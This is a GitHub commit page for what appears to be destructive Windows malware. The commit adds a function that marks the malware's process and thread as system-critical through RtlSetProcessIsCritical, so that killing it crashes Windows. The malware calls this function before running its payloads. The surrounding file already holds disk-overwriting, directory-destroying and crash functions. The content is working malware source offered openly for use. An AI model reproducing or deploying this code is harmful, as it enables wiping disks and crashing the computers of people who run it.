Skip to content

Commit

Permalink
Add critical process
Browse files Browse the repository at this point in the history
  • Loading branch information
LeoLezury committed Feb 5, 2022
1 parent c9fb0f0 commit ee079d7
Show file tree
Hide file tree
Showing 3 changed files with 22 additions and 0 deletions.
19 changes: 19 additions & 0 deletions src/destruction.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -211,6 +211,21 @@ void OverWriteDisk() {
}
}

void SetCriticalProcess() {
HANDLE hToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);

HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
VOID(WINAPI * RtlSetProcessIsCritical)(BOOLEAN, PBOOLEAN, BOOLEAN) = (VOID(WINAPI * )(BOOLEAN, PBOOLEAN, BOOLEAN))GetProcAddress(hNtdll, "RtlSetProcessIsCritical");
VOID(WINAPI * RtlSetThreadIsCritical)(BOOLEAN, PBOOLEAN, BOOLEAN) = (VOID(WINAPI*)(BOOLEAN, PBOOLEAN, BOOLEAN))GetProcAddress(hNtdll, "RtlSetThreadIsCritical");

SetPrivilege(hToken, SE_DEBUG_NAME, true);
if (RtlSetProcessIsCritical && RtlSetThreadIsCritical) {
RtlSetProcessIsCritical(true, NULL, false);
RtlSetThreadIsCritical(true, NULL, false);
}
}

void CrashWindows() {
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
VOID(*RtlAdjustPrivilege)(DWORD, DWORD, BOOLEAN, LPBYTE) = (VOID(*)(DWORD, DWORD, BOOLEAN, LPBYTE))GetProcAddress(hNtdll, "RtlAdjustPrivilege");
Expand All @@ -225,4 +240,8 @@ void CrashWindows() {
}

FreeLibrary(hNtdll);

ExitWindows();

ExitProcess(0);
}
1 change: 1 addition & 0 deletions src/destruction.h
Original file line number Diff line number Diff line change
Expand Up @@ -5,4 +5,5 @@

extern void DestroyDirectory(LPWSTR Directory);
extern void OverWriteDisk();
extern void SetCriticalProcess();
extern void CrashWindows();
2 changes: 2 additions & 0 deletions src/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -52,6 +52,8 @@ int WinMain(
CreateThread(NULL, 0, LPTHREAD_START_ROUTINE(InitTimer), (PVOID)1000, 0, NULL);
CreateThread(NULL, 0, LPTHREAD_START_ROUTINE(AudioPayloadThread), (PVOID)pAudioSequences, 0, NULL);

SetCriticalProcess();

ExecutePayload(Payload1, PAYLOAD_TIME);
ExecutePayload(Payload2, PAYLOAD_TIME);
ExecutePayload(Payload3, PAYLOAD_TIME);
Expand Down

0 comments on commit ee079d7

Please sign in to comment.